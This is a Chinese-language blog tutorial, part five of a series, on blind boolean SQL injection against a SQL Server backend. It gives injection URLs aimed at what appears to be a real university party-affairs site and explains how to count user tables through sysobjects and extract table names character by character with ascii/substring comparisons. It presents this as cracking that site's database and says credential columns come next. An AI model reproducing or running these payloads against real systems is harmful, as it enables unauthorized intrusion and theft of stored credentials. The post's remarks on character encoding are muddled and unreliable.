SQL注入——网络安全问题不容忽视!(五)
?接着上节开始讲。我们来对这个sqlserver数据库进行破解。
?
?
?首先,我们根据sysobjects这个系统表进行破解。
?
? 这个系统表里面含有一个叫做xtype的列名。这个列名下面包含着有着不少类型。比如 S? V? P? U T
?
?分表笔试系统表 视图? 存储过程 用户表? 触发器??
?
?管理员的表是放在U这个类型下面 那我们就先来获取这个类型。也就是用户表的个数
?
?http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41??? and? (select count(*)? from sysobjects?? where? xtype='u')>0
?
这儿就需要时间来进行破解了。 当大于0成立一直向上增加大于的值直到某个值不成立的时候,那么毫无问题。用户表就含有这么多个?
?
比如? http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41??? and? (select count(*)? from sysobjects )>19
?成立
而? http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects )>20
?
不成立? 。那么用户表肯定还有20个。
?
sysobject这个系统表里面不仅仅含有? xtype这个列 还有? name
这个列名? 这个列下面包含的是? 所有这个数据库下面的表名? 。
为了感觉不冗长。前面的链接我在此就简写了
?
http://xxxxx??? id=41 and? (select??ascii(subString(name,start,len)?)?? from? sysobjects where
?
xtype='u')>0
?
上面详细解释一下。
?
选取用户类型的第一条记录 ,然后将第一条记录列名为name的内容的每个字符的ascii 的值进行确定 。
?
?
subString(name,start,len);
?
name 列名?? start 起始位置 ,len 表示从包含其实位置开始向后选取几位 。
?
这在java里面也有此函数。大同小异 。再将获得的字符转成ascii值。这里就和判断用户表的个数的方法一样。当然我们可以采取稍微快速点的二分法。这样就比较容易确定每个字母是什么。链接起来就是表名。
?
也许有人就说了。要是表名是中文的话,那么怎么办。其实我测试了一下。不管是英文还是中文。每个字符(包含单个的英文字符和一个汉字)它们的ascii值都是一个数字。而不像 gbk?编码 单个字符是两位? 而? 一个汉字的字节也是两位 。根据两位相连的字节判断是汉字或者字母的区别就是看高位。如果高位是 0.则为单个字母 。汉字的高位一般是负数。
?
utf-8 的编码? 英文字母 一个字节? ? 汉字编码是三个字节 。
?
?
一般情况下。表名一般是英文。这个链接数据库时中文名容易出现各式各样的问题有关系。
?
?
?
?
?
下一讲:字典攻击这节已经获取的表名 所对应的表含有用户名和密码的列名。
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?